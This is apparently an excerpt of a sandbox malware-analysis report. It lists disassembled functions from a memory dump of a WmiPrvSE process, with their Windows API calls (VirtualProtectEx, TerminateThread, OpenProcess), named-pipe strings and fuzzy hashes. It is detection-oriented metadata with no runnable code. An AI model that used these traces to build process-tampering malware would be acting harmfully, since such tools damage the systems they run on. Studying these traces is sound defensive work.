Instruction Fuzzy Hash: DC016D39700F5682EB10DB12E8843A966B2FB48FC0F449235DF5B47758DE3CC5568740

Function 000001F5A9683BF0 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000001F5A9683888), ref: 000001F5A9683C0C
GetCurrentProcess.KERNEL32(?,?,?,?,?,000001F5A9683888), ref: 000001F5A9683C1A
VirtualProtectEx.KERNEL32(?,?,?,?,?,000001F5A9683888), ref: 000001F5A9683C3C
GetCurrentProcess.KERNEL32(?,?,?,?,?,000001F5A9683888), ref: 000001F5A9683C5A
VirtualProtectEx.KERNEL32(?,?,?,?,?,000001F5A9683888), ref: 000001F5A9683C7B
TerminateThread.KERNEL32(?,?,?,?,?,000001F5A9683888), ref: 000001F5A9683C8A

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: b176ca198d829ca6e6572b04522aece1b0ceee872bb169399538571e8d92b986
Instruction ID: 256365f260089578f26dd477e90ede022b8e12b6d71032ee4bae7724535cb890
Opcode Fuzzy Hash: b176ca198d829ca6e6572b04522aece1b0ceee872bb169399538571e8d92b986
Instruction Fuzzy Hash: 96015E38611F1282EF209B21F8597A572B2AF48B85F045634CB5E0B754EF3DC4688700

Function 000001F5A9681AD0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001F5A9681AF0
StrCmpNIW.SHLWAPI ref: 000001F5A9681B0A
lstrlenW.KERNEL32 ref: 000001F5A9681B19
StrCpyW.SHLWAPI ref: 000001F5A9681B2E

Strings

\\?\, xrefs: 000001F5A9681AFE

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: 774532233ec787998bc1a782b7f1ce1edbaa92c6b4f7b4f760a62182fecc30cd
Instruction ID: 34aaecc82dc5706791dcaa84772667b25b782799659e5eb43f9e86e12d73600f
Opcode Fuzzy Hash: 774532233ec787998bc1a782b7f1ce1edbaa92c6b4f7b4f760a62182fecc30cd
Instruction Fuzzy Hash: 91F03176304A9792EB208F15E9C47E96776FB44BD8F84A2309B4A4B558DA3CC6ADC700

Function 000001F5A96834E4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,?,000001F5A9682757), ref: 000001F5A9683506
StrCpyW.SHLWAPI ref: 000001F5A9683516
StrCatW.SHLWAPI ref: 000001F5A9683522
PathCombineW.SHLWAPI(?,?,?,000001F5A9682757), ref: 000001F5A9683530

Strings

\\.\pipe\, xrefs: 000001F5A96834FC

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 6202b20eb02c5f1e8af5f43e3d25ad070a56f4cec26fe12a7a756910ae00a6f8
Instruction ID: 35e41e1b5ef25fb4d4adf92ab082dd96fb76b8766f40cd96fb6f4299e571800d
Opcode Fuzzy Hash: 6202b20eb02c5f1e8af5f43e3d25ad070a56f4cec26fe12a7a756910ae00a6f8
Instruction Fuzzy Hash: 78F05E78204FA692EF108B12B9141A96672AF48FC0F48B230EF670BB18DF2CC4658700

Function 000001F5A968B838 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001F5A968B85D
GetProcAddress.KERNEL32 ref: 000001F5A968B873
FreeLibrary.KERNEL32 ref: 000001F5A968B89A

Strings

mscoree.dll, xrefs: 000001F5A968B854
CorExitProcess, xrefs: 000001F5A968B86C

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 14cb994fcb5560a12c5e1953b3fd41106fd5175fd4f0c594a9665650bc6d5d02
Instruction ID: a60635cdf8842bc70983cf936a9d88c4fa299296faa67042d337c7af031297de
Opcode Fuzzy Hash: 14cb994fcb5560a12c5e1953b3fd41106fd5175fd4f0c594a9665650bc6d5d02
Instruction Fuzzy Hash: 43F04F79211F1781EF108B24A8443F96372AF457A1F542325C76B4B1E4CF2CC069C700

Function 000001F5A96855E0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F5A9685666

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 915f7334823fb09fbba155b0d0a4046490fce34ad90da33203a78074e5a9b0b4
Instruction ID: 5deaf14c66f4429b9f93097aac6e3d493705bbd473805ca08304b1e3b57a17cc
Opcode Fuzzy Hash: 915f7334823fb09fbba155b0d0a4046490fce34ad90da33203a78074e5a9b0b4
Instruction Fuzzy Hash: 3E02B93A119B9586DB60CF59E4903AABBB1F7C4794F105126EB8E87BA8DF7CC454CB00

Function 000001F5A9685C20 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F5A9685C36

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: c714fa1bf2486968fc03f5a7cef5c19b3b55a7fa136225422b0b18cc0235597e
Instruction ID: 1198bd5607f74262de830f96cffb8eecadf7eedcf31d3fc2fc882eba8c82e05a
Opcode Fuzzy Hash: c714fa1bf2486968fc03f5a7cef5c19b3b55a7fa136225422b0b18cc0235597e
Instruction Fuzzy Hash: C361F83E118F55C6E7608F15E4943AABBB1F788784F50A265EB8E43BA4DB78C560CF00

Function 000001F5A96630A4 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001F5A96630CC
_set_statfp.LIBCMT ref: 000001F5A96630E7
_set_statfp.LIBCMT ref: 000001F5A9663103
_set_statfp.LIBCMT ref: 000001F5A966313F

Memory Dump Source

Source File: 00000009.00000003.1588342977.000001F5A9650000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F5A9650000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_1f5a9650000_WmiPrvSE.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: b4d1e71d77409b6acc7769b154dcc9018af716cfe20d59462776179039097754
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: E9119E7AA10EF701F76C1128E542BF961736F593B4F086738AB77072EBCF2888A54200

Function 000001F5A9693CA4 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001F5A9693CCC
_set_statfp.LIBCMT ref: 000001F5A9693CE7
_set_statfp.LIBCMT ref: 000001F5A9693D03
_set_statfp.LIBCMT ref: 000001F5A9693D3F

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: dcf930db5a1e1279795b4be3989133860c07b0d1802809e9835261b67030a463
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 5711C67AA50E3745F7542168E5667F51063AF68774F442735BB770F3D6CF2888764200

Function 000001F5A9657FA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F5A9657FCB
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F5A9658062

Strings

displacement map', xrefs: 000001F5A965805B
csm, xrefs: 000001F5A9658049

Memory Dump Source

Source File: 00000009.00000003.1588342977.000001F5A9650000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F5A9650000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_1f5a9650000_WmiPrvSE.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: displacement map'$csm
API String ID: 3242871069-816001796
Opcode ID: 33a55b782cbe91239c1fe0eb5582a54f1a6f137d165d6d6436cc227b732483e2
Instruction ID: 226ec044bed8f903715c8431d7be3fc9ff02ff224cf50aaccb222b56a2fc2439
Opcode Fuzzy Hash: 33a55b782cbe91239c1fe0eb5582a54f1a6f137d165d6d6436cc227b732483e2
Instruction Fuzzy Hash: 9E51923A311E628BDB64CF15D444BB977B2EB44B98F185235DB478BB88DB79C861C700

Function 000001F5A9688BA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F5A9688BCB
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F5A9688C62
RtlUnwindEx.NTDLL ref: 000001F5A9688CBC

Strings

csm, xrefs: 000001F5A9688C49

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 33a55b782cbe91239c1fe0eb5582a54f1a6f137d165d6d6436cc227b732483e2
Instruction ID: 1639b0befb9804bb99019bf94244a111f0bf13750c96d234d363bcc9865863b7
Opcode Fuzzy Hash: 33a55b782cbe91239c1fe0eb5582a54f1a6f137d165d6d6436cc227b732483e2
Instruction Fuzzy Hash: B3519339311A228BDB54DB15E448BF83BB3EB54B98F18D2319B674B789DB79C861C700

Function 000001F5A9659DAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F5A9659DD4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001F5A9659EBC

Strings

csm, xrefs: 000001F5A9659DF6
csm, xrefs: 000001F5A9659F0E

Memory Dump Source

Source File: 00000009.00000003.1588342977.000001F5A9650000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F5A9650000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_1f5a9650000_WmiPrvSE.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: e5aa027aec1ea5924f6576723edcddd7f9d70c87b2f908111e45284864cc0b5c
Instruction ID: 1fe2ba14b73acbbdfa4eecd98191bb0e91889c52d84360132ecd9f0c33b73162
Opcode Fuzzy Hash: e5aa027aec1ea5924f6576723edcddd7f9d70c87b2f908111e45284864cc0b5c
Instruction Fuzzy Hash: BB51927A104FA286EB748F11D5443A877B2FB54B94FA8A235DB5A47BD5CB38C470C701

Function 000001F5A968A9AC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F5A968A9D4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001F5A968AABC

Strings

csm, xrefs: 000001F5A968A9F6
csm, xrefs: 000001F5A968AB0E

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: e5aa027aec1ea5924f6576723edcddd7f9d70c87b2f908111e45284864cc0b5c
Instruction ID: 05c49a529c81f1f3fe2b6e551017c68b2742afb28d731e57db3ae55f554686ae
Opcode Fuzzy Hash: e5aa027aec1ea5924f6576723edcddd7f9d70c87b2f908111e45284864cc0b5c
Instruction Fuzzy Hash: 94518F3A100A9686EB748F1691443F87BB6EB54B94F14A326DF9A47B95CB38C4B1C700

Function 000001F5A968A5FC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001F5A968A65B
_CallSETranslator.LIBVCRUNTIME ref: 000001F5A968A6A7

Strings

RCC, xrefs: 000001F5A968A677
MOC, xrefs: 000001F5A968A66F

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 576dbeb46c835b0345b09e69c1f2621bfd9d72a62e333468b937aa6fe4b284ec
Instruction ID: 91b64525fdaef6eea75889c457a94b22cffad6e49a2cf3fe2b3605fb899ad233
Opcode Fuzzy Hash: 576dbeb46c835b0345b09e69c1f2621bfd9d72a62e333468b937aa6fe4b284ec
Instruction Fuzzy Hash: 2961A276504BC581EB708F15E4407EABBB1FB95B88F049325EF9A03B99DB78C1A5CB00

Function 000001F5A968372C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 000001F5A968374E
StrStrW.SHLWAPI ref: 000001F5A968376C
StrToIntW.SHLWAPI ref: 000001F5A9683793

Part of subcall function 000001F5A9681A30: OpenProcess.KERNEL32 ref: 000001F5A9681A56
Part of subcall function 000001F5A9681A30: K32GetProcessImageFileNameW.KERNEL32 ref: 000001F5A9681A72
Part of subcall function 000001F5A9681A30: PathFindFileNameW.SHLWAPI ref: 000001F5A9681A81
Part of subcall function 000001F5A9681A30: lstrlenW.KERNEL32 ref: 000001F5A9681A8D
Part of subcall function 000001F5A9681A30: StrCpyW.SHLWAPI ref: 000001F5A9681AA0
Part of subcall function 000001F5A9681A30: CloseHandle.KERNEL32 ref: 000001F5A9681AAE

Part of subcall function 000001F5A9683D58: StrCmpNIW.KERNELBASE(?,?,?,000001F5A968272E), ref: 000001F5A9683D70

Strings

pid_, xrefs: 000001F5A9683744

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: FileNameProcess$CloseFindHandleImageOpenPathlstrlen
String ID: pid_
API String ID: 4193868204-4147670505
Opcode ID: 4441f73b3b475cb3bf2f1679b6b73cf79ec1c36ceb4505a165b94f1f1b11f652
Instruction ID: 2b1e4d4c1a2b3572a35af547d5d2e1870068e8d880560d6fceb3ed6748e9dce2
Opcode Fuzzy Hash: 4441f73b3b475cb3bf2f1679b6b73cf79ec1c36ceb4505a165b94f1f1b11f652
Instruction Fuzzy Hash: 43118179310F6391EB109B25E8547FA57B2FF44780F40A235AF5A83A98EF28C924C344

Function 000001F5A9691BF8 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001F5A9691C77
WriteFile.KERNEL32 ref: 000001F5A9691F3F
WriteFile.KERNEL32 ref: 000001F5A9691F85
GetLastError.KERNEL32 ref: 000001F5A969203B

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 5f916fa3fcf743e353e3c0a3456a01c31226e3ad66a2dbf4f7cb1688c1e5141a
Instruction ID: 75c77cb2a3c747b3f1f8762207cf4a39d94ffe135c0745438c4dd9a9c51349cc
Opcode Fuzzy Hash: 5f916fa3fcf743e353e3c0a3456a01c31226e3ad66a2dbf4f7cb1688c1e5141a
Instruction Fuzzy Hash: 4ED1CF36714A9289E711CFB9D4803EC37B2FB547D8F149226DF5A9BB99DA34C526C300

Function 000001F5A9692520 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,000001F5A969250B), ref: 000001F5A969263C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,000001F5A969250B), ref: 000001F5A96926C7

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 24b43c747a47c1539b5754b5e16eb6c2ca3b5d98313b940494bc4857311e40b3
Instruction ID: b61fa151cd522ecd2a98b96efdb93a52986361e37beb46a721c01b168ba250e9
Opcode Fuzzy Hash: 24b43c747a47c1539b5754b5e16eb6c2ca3b5d98313b940494bc4857311e40b3
Instruction Fuzzy Hash: B191C37A610E6385FB609F6594403FD2BB6BB44B98F146229DF0B6FA95CB34C4A6C700

Function 000001F5A96824FC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001F5A96825EC
StrCpyW.SHLWAPI ref: 000001F5A9682605

Part of subcall function 000001F5A9683D58: StrCmpNIW.KERNELBASE(?,?,?,000001F5A968272E), ref: 000001F5A9683D70

Strings

\\.\pipe\, xrefs: 000001F5A96825F7

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 9f74b3962f733d39baaba749a95c371a470951bb715a297592e83bbb964cef3f
Instruction ID: 474ba603c9e14996e09ac1b63b494d0edc9d1fef1f5955337ecdb04097a8ad0e
Opcode Fuzzy Hash: 9f74b3962f733d39baaba749a95c371a470951bb715a297592e83bbb964cef3f
Instruction Fuzzy Hash: AD71D33A200FA286E735DE2699503F96BB2FBA57C4F44A235DF4B43B89DA34C564C700

Function 000001F5A96827E0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001F5A96828C4
StrCpyW.SHLWAPI ref: 000001F5A96828DD

Part of subcall function 000001F5A9683D58: StrCmpNIW.KERNELBASE(?,?,?,000001F5A968272E), ref: 000001F5A9683D70

Strings

\\.\pipe\, xrefs: 000001F5A96828CF

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 714eff9087dd913c6a4ffa065c8bdde7316cfa1c1d020620face2bf4537217c7
Instruction ID: 27680913411e95ba867be184a07b7c6b16591a3342df48f16a772b2749457b7e
Opcode Fuzzy Hash: 714eff9087dd913c6a4ffa065c8bdde7316cfa1c1d020620face2bf4537217c7
Instruction Fuzzy Hash: 5071A13A200FA355EB359A2698443FA6BB2FB997C4F41A236DF0A57B48DE35C525C700

Function 000001F5A96599FC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMON

